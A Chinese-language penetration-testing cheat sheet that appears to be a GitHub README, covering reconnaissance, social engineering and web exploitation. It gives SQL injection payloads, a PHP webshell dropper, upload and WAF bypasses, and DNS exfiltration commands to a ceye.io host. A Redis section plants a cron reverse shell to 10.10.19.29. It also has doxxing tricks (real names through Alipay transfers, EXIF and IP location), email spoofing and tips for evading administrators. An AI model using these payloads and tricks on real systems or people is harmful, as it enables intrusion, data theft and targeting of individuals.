PentestNote
一份笔记,方便查阅
推 荐 使 用 typora 进行阅读
第一份笔记,弄的太乱,已经不想再继续更新了。
后面更多的是把知识点细化到单个仓库。感兴趣的朋友,可以看我的其他仓库。
2021.11.3
Table of Contents
- PentestNote
- 前期信息收集
- 漏洞攻击
- getshell方法
- 鱼叉攻击
- 权限维持
- 痕迹清理
- 横向移动
- 域信息收集
- 内网渗透合集
- payload生成
- payload下载&白名单bypass
- 免杀
- 反弹shell
- linux命令笔记
- docker命令笔记
- ubuntu踩坑记录
- git 笔记
- 编程语言学习笔记
- 读书笔记
- [漏洞笔记](
Ctrl+F
]查找
请善用搜索[不定时更新,权当是记笔记了.
很多东西会先在公众号进行更新,有需要的先关注。
前期信息收集
工具推荐
子域名
- OneForAll https://github.com/shmilylty/OneForAll
- ksubdomain:https://github.com/knownsec/ksubdomain
- subDomainsBrute https://github.com/lijiejie/subDomainsBrute
自动化信息收集
目录扫描
win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过
- Safe6目录扫描 https://github.com/safe6Sec/dirScan
- dirsearch:https://github.com/maurosoria/dirsearch
- 7kbscan:https://github.com/7kbstorm/7kbscan-WebPathBrute
扫描器
- nessus扫主机
- awvs 扫web
- burp 不用说
- nmap 扫端口
- rustscan 超快的端口扫描,扫完自动调用nmap识别指纹(速度太快了有时候有些端口出不来) https://github.com/RustScan/RustScan
- xray 结合burp用来被动扫描 https://github.com/chaitin/xray
在线工具
指纹
-
https://phonebook.cz/ 目标资产,如邮箱
网络空间搜索引擎
综合扫描
子域/旁站
- https://phpinfo.me/old/domain
- https://webscan.cc/
- https://dnsdumpster.com/
- https://www.yougetsignal.com/tools/web-sites-on-web-server/
- https://www.robtex.com/
- https://www.dnsscan.cn/
dns历史记录
可用来找真实ip
- http://www.siteinfotool.com/
- http://toolbar.netcraft.com/site_report
- https://dnsdumpster.com/
- https://viewdns.info/iphistory/
- https://asm.ca.com/
匿名
- Sms https://www.materialtools.com/ http://receivefreesms.com/
- Email https://10minutemail.net/ https://zh.mytrashmailer.com/ http://24mail.chacuo.net/enus https://www.linshiyouxiang.net/
- Fake id https://www.fakenamegenerator.com/ http://www.haoweichi.com/ https://www.fakeaddressgenerator.com/
- ip代理池
- 临时文件 https://bashupload.com/
- https://ppng.io/ 临时文件
- tor网络
- https://emkei.cz/ 邮件伪造
- 免费域名 https://www.freenom.com/zh/index.html?lang=zh
- dns http://xip.io/
- 云短信https://www.materialtools.com/
裤子
webshell查杀
恶意软件分析
- https://www.virustotal.com/
- http://www.virscan.org/
- https://www.virscan.org/
- https://s.threatbook.cn/ 云沙箱
- https://habo.qq.com/
- https://ti.qianxin.com/
- https://sandbox.ti.qianxin.com/sandbox/page qax沙箱
- http://appscan.360.cn/ app扫描
- https://service.security.tencent.com/kingkong app
- https://www.appscan.io/ app
- https://www.ostorlab.co/ app 国外的
- https://app.any.run/ 最强沙箱
渗透测试
- https://www.revshells.com/ 反弹shell
- https://i.hacking8.com/tiquan/ Windows提权辅助补丁查询
- https://pentest-tools.com/information-gathering/google-hacking# 谷歌hacking多种
资产
实用
- 解析bash命令 https://explainshell.com/
- 终端录制 https://asciinema.org/
- 正则搜索 https://ihateregex.io/
历史漏洞
- https://cxsecurity.com/
- http://vulhub.org.cn/ (常用)
- http://cve.scap.org.cn/
- http://www.cnnvd.org.cn/
- https://vulmon.com/ (常用)
- https://sploitus.com (常用)
- https://vulners.com
- https://www.exploit-db.com/ (常用)
- https://www.seebug.org/
- https://packetstormsecurity.com/
- https://snyk.io/vuln (常用)
- https://www.cvedetails.com/
- https://www.cvebase.com/ (常用,cve分析和poc)
- 乌云镜像
- https://baizesec.github.io/bylibrary/ 白泽文库
- https://github.com/Mr-xn/Penetration_Testing_POC poc&exp各种工具
目标站点源码获取技巧
参考文章:https://www.anquanke.com/post/id/224420 如何利⽤Quake挖掘某授权⼚商边缘站点漏洞
如果站点删除对应特征的title关键词,可以根据favicon来搜索使用同套相似框架的站点。
当然假如quake没有给出这个站点的icon值,你也可以根据 curl http://xxxx.com/favicon.ico|md5sum
的方式,得到站点ico的md5,然后利用quake语法,favicon:"{MD5}"
搜索。
运气较好,在quake的第一页就发现了和厂商使用同样cms,并且明示用了什么框架的站点
如何利用360quake搜索相似站点,并获得源码
这里一般我们搜索相似源码的站点有以下几种方式:
- 1、
根据favicon搜索
- 2、
根据首页页面里的一些特征,利用body:"{特征}"来搜索
- 3、
根据response里的header头特征来搜索,一般是在cookie里有设置特定的cookie。比如shiro的rememberMe=xxx,或者apache的ofbiz。
- 4、
根据cert里Issuer、Subject特征搜索,一些单位、甚至部门信息会包含在ssl证书内容之中。
搜索到相似站点后,有几种方式搞到源码:
- 1、
对相似站点进行入侵,getshell后获得源码(动静较大)
- 2、
对相似站点批量扫备份文件
- 3、
得知cms的名称去凌风云网盘搜索该cms源码是否有人分享
- 4、
闲鱼搜有没有对应源码有人在买卖
- 5、
去github,gitee搜有没有相似的源码,是否是根据别人的源码二次开发的成品
google语法
- 后台地址
- site:xxx.xxx 管理后台/登陆/管理员/系统
- site:xxx.xxx inurl:login/admin/system/guanli/denglu
- site:xxx.xxx intext:"登陆"
- 敏感文件
- site:xxx.xxx filetype:pdf/doc/xls/txt
- site:xxx.xxx filetype:log/sql/conf
- 测试环境
- site:xxx.xxx inurl:test/ceshi
- site:xxx.xxx intitle:测试
- 邮箱/QQ/群
- site:xxx.xxx 邮件/email
- site:xxx.xxx qq/群/企鹅/腾讯
- 其他
- site:xxx.xxx inurl:api
- site:xxx.xxx inurl:uid=/id=
- site:xxx.xxx intitle:index of
Github搜索
- @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
- @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys
- "domain.com" API_KEY
- "domain.com" login
- "domain.com" password
关于社工
-
查询whois得到电话,邮箱,备案号.备案号查注册人
-
电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测
-
电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......)
-
社工库,tg群查泄漏密码
-
手机号查注册过的网站
https://www.reg007.com/ https://www.usersearch.org/
-
得到管理员设置密码习惯,命名习惯.进行爆破,跑备份
-
利用个人信息生成社工字典
-
冒充目标好友
-
近源渗透,wifi,badusb
-
鱼叉攻击
- https://mp.weixin.qq.com/s/SzKX0XrAjgo7SL2GYjtSAg 干货 | 邮件钓鱼攻击学习
- https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45#wechat_redirect红蓝对抗之邮件钓鱼攻击
- https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 红队测试之邮箱打点
- https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg 邮件钓鱼平台搭建以及基础使用场景
- https://mp.weixin.qq.com/s/_3PpI4hKYZRPuYQs2nh67w 钓鱼攻击中文件的几种姿势
-
水坑攻击
-
可通过微博进行定位,qq抓ip定位,图片exif定位
-
各种匿名
-
密码生成
- 撞库
- 常见手机号
- 常见登录账号(admin、manager、test、deme)
- 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
- 拼音(zhangsan、zhang.san、zhangs)
- 中文(张三、李四、张san)
- 英文名(Tom、Jeo、Cherry)
- 单位名(zssx123、zssx@123)
- 地名(beijing123、beijing@123)
- 组合(地名+单位名)
- 域名(baidu@123、JD@123)
- 生日组合
一点小技巧
- 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计.
- 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工.
- 遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获
- 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究
- 在进行有可能导致管理员察觉的敏感操作时(如登录远程桌面等),根据目标所在地区,选择对应IP登录。(大多数会提示异地登录提醒,导致权限丢失)
- 红队电脑不能保存任何个人信息,在某些工作系统语言不要使用中文,防止被反制。
- 拿到机器及时做权限维持,msf的记得自动迁移进程
- 尽量和管理员岔开时间段,不要撞到
- 如果可以,一天一靶机,htb就不错
- 打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服
🤣 ,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。|r0fus0d - 域名资产收集whois反查+兄弟域名+其他后缀域名+备案反查+rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤
一些信息收集的命令
互联网c段存活检测
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt
apk敏感信息收集
提取相关域名链接/IP
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
提取一些敏感信息
apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
提取url
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
mac下反编译apk
手动敲命令太繁琐了,写个 shell 脚本一键化。
在.bash_profile 文件(环境变量)加入这个命令 alias
apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh",
这样当终端打开的时候就可以使用 apkdec 命令了,而脚本 DeApkScript.sh 的内
容如下:
apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd
$1_dex/ && d2j-dex2jar *.dex
功能实现如下:
• apktool 获取资源文件
• 将 apk 文件重命名为 zip 文件
• 解压 zip 文件中的.dex 文件
• 切换解压目录
• 将 dex 文件转换成 jar 文件
这样,最后只需要使用 JD-GUI 反编译 JAR 即可看见源码了。
spring相关程序必扫字典
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
漏洞攻击
文件读取漏洞
1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作
2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件
3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)
4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码) 5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录) 6、读取程序源代码,方便后面做代码审计,找突破口 7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息) 8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。
windows常见的敏感文件路径:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见的敏感文件路径:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
文件包含漏洞
一、利用思路总结:
1、包含一些敏感的配置文件,获取目标敏感信息
2、配合图片马getshell
3、包含临时文件getshell
4、包含session文件getshell
5、包含日志文件getshell(Apach、SSH等等)
6、利用php伪协议进行攻击
二、具体利用方法:
①包含一些敏感的配置文件
windows常见的敏感文件路径:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见的敏感文件路径:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
绝对路径:
../跨目录读取:
②配合图片马getshell
需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:
<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>
会在当前目录下生成panda.php,密码为PANDA,连接即可
③包含临时文件+phpinfo getshell
在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。
利用方法简述:
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
操作过程:
访问存在文件包含漏洞的页面
http://192.168.136.128:8080/lfi.php?file=/etc/passwd
访问phpinfo页面,需要确实存在
然后利用exp进行利用:
python2 exp.py 目标ip 8080 100
在189次请求时,就写入成功了
脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上
然后直接利用蚁剑进行连接即可,密码为1:
④包含session文件getshell
session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。
利用场景:
一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中
利用条件:
①session文件路径已知
session文件路径位置可以通过phpinfo页面来获取:session.save_path参数
也可以猜测常见的一些session存储位置:
/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]
②且其中部分内容可控制
利用方式:
访问漏洞页面,在参数中构造payload
然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看
文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell
连接webshell
⑤包含日志文件getshell
1.包含Apache日志文件
在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log
**利用条件:**日志文件的存储路径,并且日志文件可读。
①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中
②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log
③也可用通过先包含配置文件来确定日志文件路径
index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf
利用方式:
因为会自动url编码,会导致无法利用,所以抓包再请求
可以看到error.log文件中已经成功写入了payload
然后包含log文件路径即可
连接webshell
2.包含SSH日志文件
ssh '<?php phpinfo();?>'@192.168.136.143
这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell
可以看到我们登陆的行为都被记录到了日志当中
可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析
通过phpinfo查看到了网站根目录
本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路
然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell
然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行
sql注入漏洞
手注
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/
mysql数字型手注
字符型和数字的注入基本一样(下面直接演示数字型),只是字符的需要闭合前面的一条sql
常见的闭合就是
'
"
')
'')
有时还需要注释后面的一些sql
可以使用
--+
# 在url里面需要编码为 %23
判断字段
?id=1 and 1=1 order by 1
回显点判断
?id=1 and 1=2 union select 1,2
当前库
?id=1 and 1=2 union select 1,database()
当前用户
?id=1 and 1=2 union select 1,user()
当前版本
?id=1 and 1=2 union select 1,version()
爆表
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
当前表字段名
用limit进行查询
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
获取数据
?id=1 and 1=2 union select 1,password from admin limit 0,1
mysql报错注入
在不能联合注入的时候就需要用到它
(有十种报错函数,https://www.cnblogs.com/wocalieshenmegui/p/5917967.html)
爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
mysql盲注
- 时间盲注
- 布尔盲注
可以用二分,dnslog,等等可以加快注入
工具
https://github.com/ADOOO/DnslogSqlinj
时间盲注也叫延时注入 一般用到函数 sleep()
BENCHMARK()
一般时间盲注我们还需要使用条件判断函数
if(expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3 盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等
select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);
们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 ascii()
hex()
等等 benchmark()
其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);
盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看 https://www.anquanke.com/post/id/170626
简单来说就是通过函数看返回true还是false
1.直接通过字符串截取对比,类似函数很多后面做个总结吧
http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +
2.用 IFNULL()
函数
http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
3.使用 比较函数strcmp()
1.
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +
2.
mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)
mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mssql手注
参考https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
查询基本信息
and @@version>~1
and (user|1)>-1
and (db_name()|1)>.1
判断当前表名和列名 也可以使用 having 1=1
和 group by
http://192.168.130.137/1.aspx?id=1 having 1=1
爆出当前表和字段
爆出所有的字段
http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1
文件上传漏洞
练习环境:https://github.com/c0ny1/upload-labs
参考文章:
https://www.jianshu.com/p/74ca4e884645 (上传总结)
https://www.jianshu.com/p/1ccbab572974 (解析总结)
特殊后缀绕过黑名单
apache
php、php3、php4、php5、phpt、phtml
iis
asa、cer、cdx
上传.htaccess文件
我们需要上传一个.htaccess文件,内容为:
#所有文件都会解析成php
SetHandler application/x-httpd-php
# 解析指定jpg
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
# 解析xx后缀
AddType application/x-httpd-php xxx
NTFS流冒号截断
如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,
":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。 如果":"是文件名的最后一个字符,则不会截断,会报错 一个文件名中如果包含1个以上的":"号,也是会报错
::$DATA绕过
windows特性,可在后缀名中加” ::$DATA”绕过
nginx空字节代码执行漏洞
在fast-cgi关闭的情况下,nginx版本:0.5., 0.6., 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问
xx.jpg%00.php
IIS 7.0&7.5畸形解析漏洞和nginx畸形解析漏洞
默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会解析为php
iis6畸形目录解析漏洞
原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的
- 畸形目录解析 /xxxx.asp/xxx.jpg 即.asp结尾的目录下面,而被IIS当成可执行文件来解析
- 分号文件解析 test.asp;.jpg
Apache文件名解析
Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止
.php.sfds.sfsdf.wewfgw.gwegw
只认识php就解析为php
Apache换行解析漏洞 (CVE-2017-15715)
其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析
上传webshell,然后在1.php后面插入一个\x0A换行
nginx文件名逻辑漏洞(CVE-2013-4547)
受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php" 即让图片作为php文件解析
(不能编码,burp改包,把第二个空格改为00)
"/test.jpg .php"
/test.jpg[0x20][0x00].php
bypass waf
安全狗的绕过,常有下列三种方法
a). ===绕过
Content-Disposition : from-data; name="upload" ; filename==="microfan.php"
b). 去除""绕过
Content-Disposition : from-data; name="upload" ; filename=microfan.php
c). 少"绕过
Content-Disposition : from-data; name="upload" ; filename="microfan.php
命令执行
结果外带
Windows
在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io
下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。
for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)
为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io
如果需要外带多行命令,则需要以下语句:
where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
(b)Linux
在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。
ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。
pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io
如果有多行数据需要外带,那么请考虑下面的语句。(和大佬学的)
var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
oob主要参考一位大佬文章,会在文末列出。
未授权漏洞
redis
参考:https://www.cnblogs.com/twosmi1e/p/13308682.html
https://www.cnblogs.com/loopkep/p/11135949.html
常用命令
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录,Redis产生的备份文件将放在这个目录下
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
- 使用SET和GET命令,可以完成基本的赋值和取值操作;
- Redis是不区分命令的大小写的,set和SET是同一个意思;
- 使用keys *可以列出当前数据库中的所有键;
- 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
- 如果键的值中有空格,需要使用双引号括起来,如"Hello World";
利用
写ssh-keygen登录
利用条件
-
root账号启动redis服务
-
服务器开放SSH服务,允许密钥登录。
利用二
>ssh-keygen -t rsa
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
写计划任务反弹shell
定时任务位置位于文件:/var/spool/cron/用户名
原理
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。
利用条件
redis是root用户启动
坑:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
执行
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
利用
